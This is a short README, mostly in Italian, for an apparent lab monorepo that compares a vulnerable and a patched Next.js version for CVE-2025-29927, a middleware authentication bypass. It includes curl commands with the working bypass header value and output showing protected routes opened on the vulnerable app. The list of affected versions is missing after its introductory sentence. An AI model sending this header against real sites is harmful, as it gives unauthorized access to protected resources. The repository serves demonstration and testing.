
vulnerable-nextjs-14-CVE-2025-29927
Questo repository è un progetto monorepo che consente di confrontare la vulnerabilità del middleware CVE-2025-29927 utilizzando Next.js versione 15.2.3 e Next.js versione 15.1.7.
CVE-2025-29927 è una vulnerabilità di sicurezza trovata nel middleware di Next.js che consente di aggirare il middleware di autenticazione tramite l'header x-middleware-subrequest. Questa vulnerabilità interessa le seguenti versioni:
pnpm installpnpm dev$ curl http://localhost:3000/api/protected
// {"error":"Unauthorized"}
$ curl http://localhost:3001/api/protected
// {"error":"Unauthorized"}
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/protected
// {"message":"Hello World"}
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3001/api/protected
// {"message":"Hello World"}
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/protected
// {"error":"Unauthorized"}
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3001/api/protected
// {"message":"Hello World"}
nextjs-cve-2025-29927/
├── apps/
│ ├── next15_1_7/ # 취약한 버전
│ └── next15_2_3/ # 패치된 버전
├── packages/
│ └── ui/ # 공유 UI 컴포넌트
└── README.md